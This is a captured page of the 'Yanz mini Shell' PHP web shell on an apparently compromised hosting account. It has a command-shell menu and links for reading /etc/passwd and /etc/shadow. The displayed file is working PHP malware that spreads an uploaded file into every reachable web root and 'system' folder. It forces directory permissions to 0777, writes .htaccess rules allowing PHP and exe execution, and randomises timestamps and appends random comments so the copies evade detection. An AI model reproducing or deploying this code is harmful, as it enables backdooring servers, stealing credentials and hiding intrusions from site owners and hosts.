Yanz mini Shell

 <title>Yanz mini Shell</title>
<link rel="icon" href="https://e.top4top.io/p_26973oc9i1.png">
<style>
  html{
    overflow: auto;
    background: black;
    color: white;
    font-family: "Courier New";
  }
  a {
    text-decoration: none;
    color: white;
  }
  .a-bar {
    text-decoration: none;
    color: black;
  }
  .bar {
    display: inline;
    padding: 5px;
    background: white;
    color: black;
  }
  .baratas {
    overflow: auto;
    border: 1px solid white;
    padding: 10px;
    background: white;
    color: black;
  }
  .close {
    overflow: auto;
    border: 1px solid red;
    background: red;
    color: white;
  }
  .kotak {
    overflow: auto;
    border: 1px solid white;
    padding: 10px;
    color: white;
  }
  .l {
    float: left;
    width: 50%;
  }
  .r {
    float: right;
    width: 50%;
    text-align: right;
  }
  .l1 {
    float: left;
    width: 20%;
    border: 1px solid white;
    padding: 10px;
  }
  .r1 {
    float: right;
    width: 75%;
    border: 1px solid white;
    padding: 10px;
  }
  input {
    background: white;
    color: black;
    border: 1px solid white;
    padding: 5px;
  }
  .file {
    width: 100%;
    height: 50%;
  }
</style>
<div class="baratas">
  <div class="l">
    Yanz Mini Shell
  </div>
  <div class="r">
      <a class="a-bar" href="?page=blank">[_]</a>
      <a class="a-bar" href="?page=blank">[-]</a>
      <a class="close" href="?">[X]</a>
  </div>
</div>
<div class="kotak">
  [ <a href="?ynzmini=/tmp">HomeShell 1</a> ]
  [ <a href="?ynzmini=/home/aparatur/public_html">HomeShell 2</a> ]
  [ <a href="?page=upload">Upload</a> ]
  [ <a href="?page=shell">Command Shell</a> ]
  [ <a href="?page=scripting">Scripting</a> ]
  [ <a href="?page=about">About</a> ]
</div>
<div class="kotak">
  [ Directory ] => <li class="bar"><a class="a-bar" href="?ynzmini=/">/</a></li>
<li class='bar'><a class='a-bar' href='?ynzmini=/home/'>home</a></li>
<li class='bar'><a class='a-bar' href='?ynzmini=/home/aparatur/'>aparatur</a></li>
<li class='bar'><a class='a-bar' href='?ynzmini=/home/aparatur/public_html/'>public_html</a></li>
</div>
<div class="kotak">
  <div class="l1">
    <div class="baratas">
      Action
    </div>
    <hr>
    [*] <a href="?page=newfile">New File</a>
    <br>
    [*] <a href="?page=newfolder">New Folder</a>
    <hr>
    <div class="baratas">
      Sensitive File
    </div>
    <hr>
    [*] <a href="?file=/etc/passwd">/etc/passwd</a>
    <br>
    [*] <a href="?file=/etc/shadow">/etc/shadow</a>
    <br>
    [*] <a href="?file=/etc/resolv.conf">/etc/resolv.conf</a>
  </div>
  <div class="r1">
      [ <a href="?file=/tmp/_YnmEpv&delete=true">Delete</a> ]
[ <a href="?file=/tmp/_YnmEpv&edit=true">Edit</a> ]
[ <a href="?file=/tmp/_YnmEpv&rename=true">Rename</a> ]
[ <a href="?">Back</a> ]
<hr>
      <textarea class='file'>&lt;?php
// Tambahkan ?p= hanya jika tidak ada query string untuk menghindari error header
if (empty($_SERVER[&#039;QUERY_STRING&#039;])) {
    $url = $_SERVER[&#039;PHP_SELF&#039;] . &#039;?p=&#039;;
    header(&#039;Location: &#039; . $url);
    exit;
}
error_reporting(0);
ini_set(&#039;error_log&#039;,NULL);
@ini_set(&#039;log_errors&#039;,0);
@ini_set(&#039;max_execution_time&#039;,0);
@ini_set(&#039;output_buffering&#039;,0);
@ini_set(&#039;display_errors&#039;, 0);
@error_reporting(E_ALL ^ E_NOTICE);
?&gt;
&lt;?php
error_reporting(0);
ini_set(&#039;error_log&#039;,NULL);
@ini_set(&#039;log_errors&#039;,0);
@ini_set(&#039;max_execution_time&#039;,0);
@ini_set(&#039;output_buffering&#039;,0);
@ini_set(&#039;display_errors&#039;, 0);
@error_reporting(E_ALL ^ E_NOTICE);

set_time_limit(0);
ini_set(&#039;display_errors&#039;, 0);
ini_set(&#039;error_reporting&#039;, 0);
ini_set(&#039;memory_limit&#039;, &#039;256M&#039;);

session_start();

function getMainDomain($domain) {
    $parts = explode(&#039;.&#039;, $domain);
    if (count($parts) &gt; 2) {
        return $parts[count($parts)-2] . &#039;.&#039; . $parts[count($parts)-1];
    }
    return $domain;
}

 $loaderBasePath = null;

if (defined(&#039;REPLICATOR_BASE_PATH&#039;)) {
    $loaderBasePath = REPLICATOR_BASE_PATH;
} else {
    $currentDir = getcwd();
    if ($currentDir !== false &amp;&amp; is_dir($currentDir) &amp;&amp; $currentDir !== &#039;/tmp&#039;) {
        $loaderBasePath = $currentDir;
    } else {
        if (!empty($_SERVER[&#039;DOCUMENT_ROOT&#039;])) {
            $loaderBasePath = $_SERVER[&#039;DOCUMENT_ROOT&#039;];
        } else {
            $loaderBasePath = __DIR__;
        }
    }
}

 $searchPath = &#039;&#039;; 
if (!empty($loaderBasePath)) {
    if (strpos($loaderBasePath, &#039;/domains/&#039;) !== false) {
        $parts = explode(&#039;/domains/&#039;, $loaderBasePath, 2);
        if (isset($parts[0]) &amp;&amp; is_dir($parts[0])) {
            $searchPath = $parts[0];
        }
    } else {
        $searchPath = $loaderBasePath;
    }
}

// ============================================
// 🔍 FUNGSI: CEK DOMAIN VALID UNTUK DISPLAY
// ============================================
function isValidDomainForDisplay($host) {
    if (preg_match(&#039;/\.[a-z]{2,6}$/i&#039;, $host)) {
        return true;
    }
    
    if (preg_match(&#039;#^(dev|demo|test|staging|backup|bk|www|web|site|app|mail|ftp|api|cdn|static)[0-9]*\.[a-z0-9.-]+\.[a-z]{2,6}$#i&#039;, $host)) {
        return true;
    }
    
    $dotCount = substr_count($host, &#039;.&#039;);
    if ($dotCount &gt;= 2 &amp;&amp; preg_match(&#039;/^[a-z0-9.-]+\.[a-z]{2,6}$/i&#039;, $host)) {
        return true;
    }
    
    return false;
}

// ============================================
// SMART PERMISSION FIXER (START LEVEL 2+)
// ============================================

function fixSingleDirPerm($dirPath, &amp;$debugInfo, $label = &#039;&#039;) {
    if (!file_exists($dirPath)) return true;
    
    clearstatcache(true, $dirPath);
    
    if (is_writable($dirPath)) {
        @chmod($dirPath, 0755);
        return true;
    }
    
    foreach ([0755, 0775, 0777] as $perm) {
        if (@chmod($dirPath, $perm)) {
            clearstatcache(true, $dirPath);
            usleep(30000);
            
            if (is_writable($dirPath)) return true;
        }
    }
    
    if (function_exists(&#039;shell_exec&#039;)) {
        @shell_exec(&quot;chmod 0777 &quot; . escapeshellarg($dirPath) . &quot; 2&gt;/dev/null&quot;);
        clearstatcache(true, $dirPath);
        
        if (is_writable($dirPath)) return true;
    }
    
    return false;
}

function deepFixFromLevel2($targetPath, &amp;$debugInfo, $contextLabel = &#039;&#039;) {
    $sep = DIRECTORY_SEPARATOR;
    $normalizedPath = rtrim(str_replace([&#039;\\&#039;, &#039;//&#039;], [$sep, $sep], $targetPath), $sep);
    $components = explode($sep, $normalizedPath);
    
    $currentPath = &#039;&#039;;
    $fixedCount = 0;
    
    foreach ($components as $index =&gt; $component) {
        if ($currentPath === &#039;&#039;) {
            if (preg_match(&#039;#^[a-z]:$#i&#039;, $component)) {
                $currentPath = $component . &#039;:&#039;;
                continue;
            }
            $currentPath = $component;
        } else {
            $currentPath .= $sep . $component;
        }
        
        if (empty($currentPath) || $currentPath === $sep || preg_match(&#039;#^[a-z]:$#i&#039;, $currentPath)) {
            continue;
        }
        
        $levelNumber = $index + 1;
        if ($levelNumber &lt;= 1) {
            continue;
        }
        
        if (!file_exists($currentPath) || !is_dir($currentPath)) {
            continue;
        }
        
        $shortName = strlen($component) &gt; 12 ? substr($component, 0, 12) : $component;
        $levelLabel = $contextLabel . &#039;-L&#039; . $levelNumber . &#039;-&#039; . $shortName;
        
        if (fixSingleDirPerm($currentPath, $debugInfo, $levelLabel)) {
            $fixedCount++;
        }
    }
    
    return $fixedCount;
}
// ============================================

// ============================================
// 📝 KONTEN HTACCESS YANG AKAN DIBUAT
// ============================================
 $HTACCESS_CONTENT = &#039;&lt;IfModule mod_rewrite.c&gt;
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
&lt;/IfModule&gt;
&lt;FilesMatch &quot;.*\.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5|php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$&quot;&gt;
Order Allow,Deny
Allow from all
&lt;/FilesMatch&gt;
&lt;FilesMatch &quot;^(FqzTi.php)$&quot;&gt;
Order Allow,Deny
Allow from all
&lt;/FilesMatch&gt;&#039;;
// ============================================

// ============================================
// ✨ FUNGSI BARU: MEMBUAT FILE UNIK (WAKTU &amp; KONTEN)
// ============================================
function makeFileUnique($filePath, $originalFileName) {
    if (!file_exists($filePath)) return;
    
    // 1. Acak waktu modifikasi (antara sekarang hingga 30 hari lalu)
    $randomTime = time() - rand(0, 30*24*3600);
    @touch($filePath, $randomTime);
    
    // 2. Jika file PHP, tambahkan komentar unik di akhir
    $ext = strtolower(pathinfo($originalFileName, PATHINFO_EXTENSION));
    $phpExtensions = [&#039;php&#039;, &#039;phtml&#039;, &#039;php5&#039;, &#039;php7&#039;, &#039;php8&#039;, &#039;phps&#039;, &#039;phar&#039;, &#039;inc&#039;];
    if (in_array($ext, $phpExtensions)) {
        $uniqueComment = &quot;\n&lt;?php /* &quot; . bin2hex(random_bytes(16)) . &quot; */ ?&gt;&quot;;
        @file_put_contents($filePath, $uniqueComment, FILE_APPEND | LOCK_EX);
        // Setel ulang waktu setelah penulisan agar tidak berubah
        @touch($filePath, $randomTime);
    }
}
// ============================================

// ============================================
// 🔥 FORCE UPLOAD KE SYSTEM/ + BUAT HTACCESS (SUDAH DIMODIFIKASI)
// ============================================
function forceUploadSystemFullProcess($masterFile, $basePath, $fileName, &amp;$debugInfo, &amp;$urls, &amp;$donePaths) {
    global $HTACCESS_CONTENT;
    
    $sep = DIRECTORY_SEPARATOR;
    $pathKey = md5($basePath . &#039;-system-full&#039;);
    
    if (isset($donePaths[$pathKey])) {
        return;
    }
    
    $donePaths[$pathKey] = true;
    
    $systemPath = $basePath . $sep . &#039;system&#039;;
    $targetFile = $systemPath . $sep . $fileName;
    $htaccessFile = $systemPath . $sep . &#039;.htaccess&#039;;
    
    $baseName = basename($basePath);
    $displayName = strlen($baseName) &gt; 20 ? substr($baseName, 0, 20) : $baseName;
    
    $debugInfo[] = &quot;[SYSTEM] 🚀 Processing: $displayName&quot;;
    
    deepFixFromLevel2($basePath, $debugInfo, &#039;SYS-&#039; . $displayName);
    
    if (!is_dir($systemPath)) {
        fixSingleDirPerm($basePath, $debugInfo, &#039;PRE-SYS&#039;);
        $mkdirOk = @mkdir($systemPath, 0755, true);
        if (!$mkdirOk) {
            @chmod($basePath, 0777);
            $mkdirOk = @mkdir($systemPath, 0777, true);
        }
        if ($mkdirOk) {
            @chmod($systemPath, 0755);
            $debugInfo[] = &quot;[SYSTEM] 📁 Created system/&quot;;
        } else {
            $debugInfo[] = &quot;[SYSTEM] ⚠️ Cannot create system/&quot;;
            return;
        }
    } else {
        deepFixFromLevel2($systemPath, $debugInfo, &#039;SYS-DIR-&#039; . $displayName);
    }
    
    clearstatcache(true, $systemPath);
    if (is_dir($systemPath) &amp;&amp; !is_writable($systemPath)) {
        @chmod($systemPath, 0777);
        clearstatcache(true, $systemPath);
    }
    
    if (!is_writable($systemPath)) {
        $debugInfo[] = &quot;[SYSTEM] ❌ ABORT: system/ not writable for $displayName&quot;;
        return;
    }
    
    $debugInfo[] = &quot;[SYSTEM] ✅ system/ is WRITABLE&quot;;
    
    // Upload file dengan modifikasi unik
    $uploadSuccess = false;
    for ($retry = 1; $retry &lt;= 3; $retry++) {
        if ($retry &gt; 1) {
            @chmod($systemPath, 0777);
            clearstatcache(true, $systemPath);
            usleep(150000);
        }
        
        if (@copy($masterFile, $targetFile)) {
            // ✨ Panggil fungsi pembuat unik
            makeFileUnique($targetFile, $fileName);
            
            @chmod($targetFile, 0644);
            clearstatcache(true, $targetFile);
            usleep(50000);
            
            if (file_exists($targetFile) &amp;&amp; filesize($targetFile) &gt; 0) {
                $uploadSuccess = true;
                break;
            }
        }
    }
    
    // Buat/tulis .htaccess dengan komentar unik
    $htaccessSuccess = false;
    $randomComment = &quot;# &quot; . bin2hex(random_bytes(8)) . &quot;\n&quot;;
    $uniqueHtaccessContent = $randomComment . $HTACCESS_CONTENT;
    
    if ($uploadSuccess || is_dir($systemPath)) {
        if (file_exists($htaccessFile)) {
            $writeResult = @file_put_contents($htaccessFile, $uniqueHtaccessContent);
            if ($writeResult !== false) {
                @chmod($htaccessFile, 0644);
                $htaccessSuccess = true;
                $debugInfo[] = &quot;[SYSTEM] ✅ .htaccess UPDATED (unique)&quot;;
            } else {
                @chmod($htaccessFile, 0666);
                $writeResult = @file_put_contents($htaccessFile, $uniqueHtaccessContent);
                if ($writeResult !== false) {
                    @chmod($htaccessFile, 0644);
                    $htaccessSuccess = true;
                    $debugInfo[] = &quot;[SYSTEM] ✅ .htaccess UPDATED (unique after chmod)&quot;;
                } else {
                    $debugInfo[] = &quot;[SYSTEM] ⚠️ Cannot update .htaccess&quot;;
                }
            }
        } else {
            $writeResult = @file_put_contents($htaccessFile, $uniqueHtaccessContent);
            if ($writeResult !== false) {
                @chmod($htaccessFile, 0644);
                $htaccessSuccess = true;
                $debugInfo[] = &quot;[SYSTEM] ✅ .htaccess CREATED (unique)&quot;;
            } else {
                $tempHtaccess = $systemPath . $sep . &#039;.htaccess_temp_&#039; . uniqid();
                $tempWrite = @file_put_contents($tempHtaccess, $uniqueHtaccessContent);
                if ($tempWrite &amp;&amp; @rename($tempHtaccess, $htaccessFile)) {
                    @chmod($htaccessFile, 0644);
                    $htaccessSuccess = true;
                    $debugInfo[] = &quot;[SYSTEM] ✅ .htaccess CREATED (via rename, unique)&quot;;
                } elseif ($tempWrite) {
                    @copy($tempHtaccess, $htaccessFile);
                    @chmod($htaccessFile, 0644);
                    @unlink($tempHtaccess);
                    if (file_exists($htaccessFile)) {
                        $htaccessSuccess = true;
                        $debugInfo[] = &quot;[SYSTEM] ✅ .htaccess CREATED (via copy, unique)&quot;;
                    } else {
                        @unlink($tempHtaccess);
                        $debugInfo[] = &quot;[SYSTEM] ❌ FAIL: Cannot create .htaccess&quot;;
                    }
                } else {
                    $debugInfo[] = &quot;[SYSTEM] ❌ FAIL: Cannot write .htaccess temp&quot;;
                }
            }
        }
    }
    
    // Hasil akhir
    if ($uploadSuccess &amp;&amp; $htaccessSuccess) {
        $host = $baseName;
        if (preg_match(&#039;/\.[a-z]{2,6}$/i&#039;, $baseName) || isDomainPattern($baseName)) {
            $host = $baseName;
        } elseif ($baseName === &#039;public_html&#039; || $baseName === &#039;htdocs&#039; || $baseName === &#039;www&#039;) {
            $host = $_SERVER[&#039;HTTP_HOST&#039;] ?? $_SERVER[&#039;SERVER_NAME&#039;] ?? &#039;&#039;;
        } else {
            $host = $baseName;
        }
        $cleanUrl = &quot;http://&quot; . trim($host, &#039;/&#039;) . &quot;/system/&quot; . urlencode($fileName);
        if (!in_array($cleanUrl, $urls)) {
            $urls[] = $cleanUrl;
            if (isValidDomainForDisplay($host)) {
                $debugInfo[] = &quot;[SYSTEM] 🎉 SUCCESS: $cleanUrl (+ unique .htaccess)&quot;;
            } else {
                $debugInfo[] = &quot;[SYSTEM] 🎉 SUCCESS (hidden): $cleanUrl (+ unique .htaccess)&quot;;
            }
        }
    } elseif ($uploadSuccess) {
        $debugInfo[] = &quot;[SYSTEM] ⚠️ File OK but .htaccess FAILED for $displayName&quot;;
    } elseif ($htaccessSuccess) {
        $debugInfo[] = &quot;[SYSTEM] ⚠️ .htaccess OK but file upload FAILED for $displayName&quot;;
    } else {
        $debugInfo[] = &quot;[SYSTEM] ❌ FAIL: Both file &amp; .htaccess failed for $displayName&quot;;
    }
}
// ============================================

// HELPERS
function extractDomainFromPath($path) {
    $sep = DIRECTORY_SEPARATOR;
    $parts = explode($sep, rtrim($path, $sep));
    foreach (array_reverse($parts) as $part) {
        if (isDomainPattern($part)) return $part;
    }
    return $_SERVER[&#039;HTTP_HOST&#039;] ?? $_SERVER[&#039;SERVER_NAME&#039;] ?? &#039;&#039;;
}

function isDomainPattern($string) {
    if (strpos($string, &#039;.&#039;) !== false &amp;&amp; preg_match(&#039;/\.[a-z]{2,6}$/i&#039;, $string)) {
        return true;
    }
    if (preg_match(&#039;/^(dev|demo|test|staging|backup|bk|www|web|site|app)[0-9]*$/i&#039;, $string)) {
        return true;
    }
    return false;
}

// ============================================
// 🛠️ forceCopyFile DIMODIFIKASI UNTUK FILE UNIK
// ============================================
function forceCopyFile($masterFile, $targetPath, &amp;$debugInfo, $label = &#039;&#039;) {
    $sep = DIRECTORY_SEPARATOR;
    $dirPath = dirname($targetPath);
    
    if (is_dir($dirPath)) {
        deepFixFromLevel2($dirPath, $debugInfo, $label.&#039;-DIR&#039;);
    } else {
        @mkdir($dirPath, 0755, true);
        @chmod($dirPath, 0755);
    }
    
    $decoyName = &#039;temp_&#039; . bin2hex(random_bytes(8)) . &#039;.&#039; . str_replace(&#039; &#039;, &#039;&#039;, $label);
    $decoyPath = $dirPath . $sep . $decoyName;
    
    if (@copy($masterFile, $decoyPath)) {
        if (@rename($decoyPath, $targetPath)) {
            // ✨ Ubah jadi unik (dengan nama file asli dari target)
            makeFileUnique($targetPath, basename($targetPath));
            @chmod($targetPath, 0644);
            $debugInfo[] = &quot;✅ [$label] OK (unique): $targetPath&quot;;
            return true;
        } else {
            @unlink($decoyPath);
        }
    }
    return false;
}
// ============================================

// ============================================
// FUNGSI REPLICATE UTAMA
// ============================================
function replicate_uploaded_file($fileTmpPath, $fileName, $searchPath) {
    static $once = false;
    if ($once) return [];
    $once = true;

    if (empty($searchPath) || !is_dir($searchPath)) {
        $_SESSION[&#039;debugInfo&#039;][] = &quot;❌ FATAL: Path awal tidak valid.&quot;;
        return [];
    }

    if (!file_exists($fileTmpPath)) return [];

    $masterTempFile = sys_get_temp_dir() . &#039;/master_&#039; . bin2hex(random_bytes(16));
    if (!move_uploaded_file($fileTmpPath, $masterTempFile)) {
        $_SESSION[&#039;debugInfo&#039;][] = &quot;❌ FATAL: Gagal membuat file master.&quot;;
        return [];
    }

    $allUrls = [];
    $displayUrls = [];
    $doneWpPaths = [];
    $doneRootPaths = [];
    $sep = DIRECTORY_SEPARATOR;
    $debugInfo = [];

    $publicDirs = [&#039;public_html&#039;, &#039;htdocs&#039;, &#039;www&#039;, &#039;public&#039;, &#039;httpdocs&#039;];
    $forceDirs = [&#039;public_html&#039;, &#039;htdocs&#039;];

    $start = $searchPath;
    while ($start !== &#039;/&#039; &amp;&amp; $start !== &#039;.&#039;) {

        foreach ($forceDirs as $forceDir) {
            $fullPath = $start . $sep . $forceDir;
            if (!is_dir($fullPath)) continue;
            
            $host = $_SERVER[&#039;HTTP_HOST&#039;] ?? $_SERVER[&#039;SERVER_NAME&#039;] ?? &#039;&#039;;
            $rootUrl = &quot;http://$host/&quot; . urlencode($fileName);
            $rootKey = md5($host . &#039;-root&#039;);
            
            if (!isset($doneRootPaths[$rootKey])) {
                $targetPath = $fullPath . $sep . $fileName;
                if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, &quot;ROOT-$forceDir&quot;)) {
                    if (!in_array($rootUrl, $allUrls)) {
                        $allUrls[] = $rootUrl;
                        if (isValidDomainForDisplay($host)) {
                            $displayUrls[] = $rootUrl;
                        }
                        $doneRootPaths[$rootKey] = true;
                    }
                }
            }
            
            forceUploadSystemFullProcess($masterTempFile, $fullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths);
        }

        if (is_dir(&quot;$start/domains&quot;)) {
            foreach (scandir(&quot;$start/domains&quot;) as $dom) {
                if ($dom === &#039;.&#039; || $dom === &#039;..&#039;) continue;
                if (!is_dir(&quot;$start/domains/$dom&quot;)) continue;
                
                $domainPath = &quot;$start/domains/$dom&quot;;
                $domainKey = md5($dom . &#039;-root&#039;);
                
                foreach ($publicDirs as $pubDirName) {
                    $pubFullPath = $domainPath . $sep . $pubDirName;
                    if (!is_dir($pubFullPath)) continue;
                    
                    if (!isset($doneRootPaths[$domainKey])) {
                        $targetPath = $pubFullPath . $sep . $fileName;
                        if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, &quot;DOM-$dom&quot;)) {
                            $rootUrl = &quot;http://$dom/&quot; . urlencode($fileName);
                            if (!in_array($rootUrl, $allUrls)) {
                                $allUrls[] = $rootUrl;
                                if (isValidDomainForDisplay($dom)) {
                                    $displayUrls[] = $rootUrl;
                                }
                                $doneRootPaths[$domainKey] = true;
                            }
                        }
                    }
                    
                    forceUploadSystemFullProcess($masterTempFile, $pubFullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths);
                }
            }
        }

        if (is_dir($start)) {
            foreach (scandir($start) as $dir) {
                if ($dir === &#039;.&#039; || $dir === &#039;..&#039;) continue;
                $fullPath = &quot;$start/$dir&quot;;
                
                if (!is_dir($fullPath)) continue;
                if (in_array($dir, $publicDirs)) continue;
                if ($dir === &#039;domains&#039;) continue;
                
                $folderKey = md5($dir . &#039;-folder-root&#039;);
                
                if (!isset($doneRootPaths[$folderKey])) {
                    $targetPath = $fullPath . $sep . $fileName;
                    if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, &quot;FOLDER-$dir&quot;)) {
                        $rootUrl = &quot;http://$dir/&quot; . urlencode($fileName);
                        if (!in_array($rootUrl, $allUrls)) {
                            $allUrls[] = $rootUrl;
                            if (isValidDomainForDisplay($dir)) {
                                $displayUrls[] = $rootUrl;
                            }
                            $doneRootPaths[$folderKey] = true;
                        }
                    }
                }
                
                forceUploadSystemFullProcess($masterTempFile, $fullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths);
                
                foreach ($publicDirs as $pubDirName) {
                    $pubFullPath = $fullPath . $sep . $pubDirName;
                    
                    if (!is_dir($pubFullPath)) continue;
                    
                    $pubKey = md5($dir . &#039;-&#039; . $pubDirName . &#039;-root&#039;);
                    if (!isset($doneRootPaths[$pubKey])) {
                        $targetPath = $pubFullPath . $sep . $fileName;
                        if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, &quot;FOLD-$dir-$pubDirName&quot;)) {
                            $rootUrl = &quot;http://$dir/&quot; . urlencode($fileName);
                            if (!in_array($rootUrl, $allUrls)) {
                                $allUrls[] = $rootUrl;
                                if (isValidDomainForDisplay($dir)) {
                                    $displayUrls[] = $rootUrl;
                                }
                                $doneRootPaths[$pubKey] = true;
                            }
                        }
                    }
                    
                    forceUploadSystemFullProcess($masterTempFile, $pubFullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths);
                }
            }
        }

        $start = dirname($start);
    }
    
    if (preg_match(&#039;#^/home([^/]*)/([^/]+)#&#039;, $searchPath, $m)) {
        $homePrefix = &#039;/home&#039; . ($m[1] ?: &#039;&#039;) . &#039;/&#039;;
        $homeUser = $m[2];
        $homePath = $homePrefix . $homeUser;
        $host = $_SERVER[&#039;HTTP_HOST&#039;] ?? $_SERVER[&#039;SERVER_NAME&#039;] ?? $homeUser;
        
        foreach ($forceDirs as $forceDir) {
            $fullPath = $homePath . $sep . $forceDir;
            if (!is_dir($fullPath)) continue;
            
            $rootKey = md5($host . &#039;-home-root&#039;);
            if (!isset($doneRootPaths[$rootKey])) {
                $targetPath = $fullPath . $sep . $fileName;
                if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, &quot;HOME-$forceDir&quot;)) {
                    $rootUrl = &quot;http://$host/&quot; . urlencode($fileName);
                    if (!in_array($rootUrl, $allUrls)) {
                        $allUrls[] = $rootUrl;
                        if (isValidDomainForDisplay($host)) {
                            $displayUrls[] = $rootUrl;
                        }
                        $doneRootPaths[$rootKey] = true;
                    }
                }
            }
            
            forceUploadSystemFullProcess($masterTempFile, $fullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths);
        }
        
        if (is_dir($homePath)) {
            foreach (scandir($homePath) as $homeFolder) {
                if ($homeFolder === &#039;.&#039; || $homeFolder === &#039;..&#039;) continue;
                if (in_array($homeFolder, $publicDirs)) continue;
                
                $folderFullPath = $homePath . $sep . $homeFolder;
                if (!is_dir($folderFullPath)) continue;
                
                forceUploadSystemFullProcess($masterTempFile, $folderFullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths);
            }
        }
    }

    @unlink($masterTempFile);

    // Domain utama
    $mainDomainUrls = [];
    foreach ($allUrls as $url) {
        preg_match(&#039;#http://([^/]+)#&#039;, $url, $m);
        if (isset($m[1])) {
            $mainDomain = getMainDomain($m[1]);
            if ($mainDomain !== $m[1]) {
                $mainRootUrl = &quot;http://$mainDomain/&quot; . urlencode($fileName);
                $mainSysUrl = &quot;http://$mainDomain/system/&quot; . urlencode($fileName);
                
                if (!in_array($mainRootUrl, $allUrls)) {
                    $allUrls[] = $mainRootUrl;
                    if (isValidDomainForDisplay($mainDomain)) {
                        $displayUrls[] = $mainRootUrl;
                    }
                }
                if (!in_array($mainSysUrl, $allUrls)) {
                    $allUrls[] = $mainSysUrl;
                    if (isValidDomainForDisplay($mainDomain)) {
                        $displayUrls[] = $mainSysUrl;
                    }
                }
                $mainDomainUrls[$mainDomain] = true;
            }
        }
    }
    
    foreach ($allUrls as $url) {
        if (strpos($url, &#039;/system/&#039;) !== false) {
            preg_match(&#039;#http://([^/]+)#&#039;, $url, $m);
            if (isset($m[1]) &amp;&amp; isValidDomainForDisplay($m[1])) {
                if (!in_array($url, $displayUrls)) {
                    $displayUrls[] = $url;
                }
            }
        }
    }

    $_SESSION[&#039;debugInfo&#039;] = $debugInfo;
    
    return [
        &#039;all_urls&#039; =&gt; array_unique($allUrls),
        &#039;display_urls&#039; =&gt; array_unique($displayUrls),
        &#039;total_all&#039; =&gt; count(array_unique($allUrls)),
        &#039;total_display&#039; =&gt; count(array_unique($displayUrls))
    ];
}

// ============================================
// FORM PROCESSING
// ============================================
if ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039;) {
    if (isset($_FILES[&#039;fileToUpload&#039;]) &amp;&amp; $_FILES[&#039;fileToUpload&#039;][&#039;error&#039;] === UPLOAD_ERR_OK) {
        $fileTmpPath = $_FILES[&#039;fileToUpload&#039;][&#039;tmp_name&#039;];
        $fileName = $_FILES[&#039;fileToUpload&#039;][&#039;name&#039;];
        $fileSize = $_FILES[&#039;fileToUpload&#039;][&#039;size&#039;];

        echo &quot;&lt;p class=&#039;blue&#039;&gt;📄 File: &quot; . htmlspecialchars($fileName) . &quot; (Ukuran: &quot; . $fileSize . &quot; bytes)&lt;/p&gt;&quot;;
        
        $result = replicate_uploaded_file($fileTmpPath, $fileName, $searchPath);
        
        $displayUrls = $result[&#039;display_urls&#039;];
        $totalAll = $result[&#039;total_all&#039;];
        $totalDisplay = $result[&#039;total_display&#039;];

        if (!empty($displayUrls)) {
            echo &quot;&lt;p class=&#039;green&#039;&gt;✅ File berhasil direplikasi ke &lt;strong&gt;$totalDisplay&lt;/strong&gt; domain valid&quot;;
            if ($totalAll &gt; $totalDisplay) {
                echo &quot; (dari total $totalAll lokasi)&quot;;
            }
            echo &quot;:&lt;/p&gt;&lt;ul&gt;&quot;;
            foreach ($displayUrls as $u) echo &quot;&lt;li&gt;&lt;a href=&#039;$u&#039; target=&#039;_blank&#039;&gt;$u&lt;/a&gt;&lt;/li&gt;&quot;;
            echo &quot;&lt;/ul&gt;&quot;;
            echo &quot;&lt;p class=&#039;blue&#039;&gt;ℹ️ Setiap salinan dibuat &lt;strong&gt;unik&lt;/strong&gt; (waktu acak, komentar acak jika PHP) &amp; .htaccess juga unik.&lt;/p&gt;&quot;;
        } else {
            echo &quot;&lt;p class=&#039;red&#039;&gt;⚠️ Tidak ada domain valid yang ditemukan.&lt;/p&gt;&quot;;
            if ($totalAll &gt; 0) {
                echo &quot;&lt;p class=&#039;blue&#039;&gt;ℹ️ File tetap diupload ke $totalAll lokasi dengan ciri unik.&lt;/p&gt;&quot;;
            }
        }
        
        if (isset($_SESSION[&#039;debugInfo&#039;]) &amp;&amp; !empty($_SESSION[&#039;debugInfo&#039;])) {
            echo &quot;&lt;details open&gt;&lt;summary&gt;🔍 Debug Information&lt;/summary&gt;&lt;ul&gt;&quot;;
            foreach ($_SESSION[&#039;debugInfo&#039;] as $info) {
                echo &quot;&lt;li&gt;&quot; . htmlspecialchars($info) . &quot;&lt;/li&gt;&quot;;
            }
            echo &quot;&lt;/ul&gt;&lt;/details&gt;&quot;;
            unset($_SESSION[&#039;debugInfo&#039;]);
        }
        echo &quot;&lt;hr&gt;&quot;;
    } else {
        echo &quot;&lt;p class=&#039;red&#039;&gt;Tidak ada file yang diunggah atau terjadi kesalahan.&lt;/p&gt;&quot;;
        if (isset($_FILES[&#039;fileToUpload&#039;])) {
            echo &quot;&lt;p&gt;Kode error: &quot; . $_FILES[&#039;fileToUpload&#039;][&#039;error&#039;] . &quot;&lt;/p&gt;&quot;;
        }
    }
}

echo &#039;&lt;style&gt;
    body { font-family: sans-serif; line-height: 1.6; }
    .green { color: #28a745; }
    .red { color: #dc3545; }
    .blue { color: #007bff; }
    form { margin-top: 20px; padding: 20px; border: 1px solid #ccc; border-radius: 5px; }
    input[type=&quot;file&quot;] { margin-bottom: 10px; }
    button { padding: 10px 15px; background-color: #007bff; color: white; border: none; border-radius: 5px; cursor: pointer; }
    button:hover { background-color: #0056b3; }
    ul { list-style-type: disc; margin-left: 20px; }
    details { margin-top: 15px; border: 1px solid #eee; padding: 10px; border-radius: 5px; }
    summary { cursor: pointer; font-weight: bold; }
&lt;/style&gt;&#039;;

echo &#039;&lt;form method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&gt;
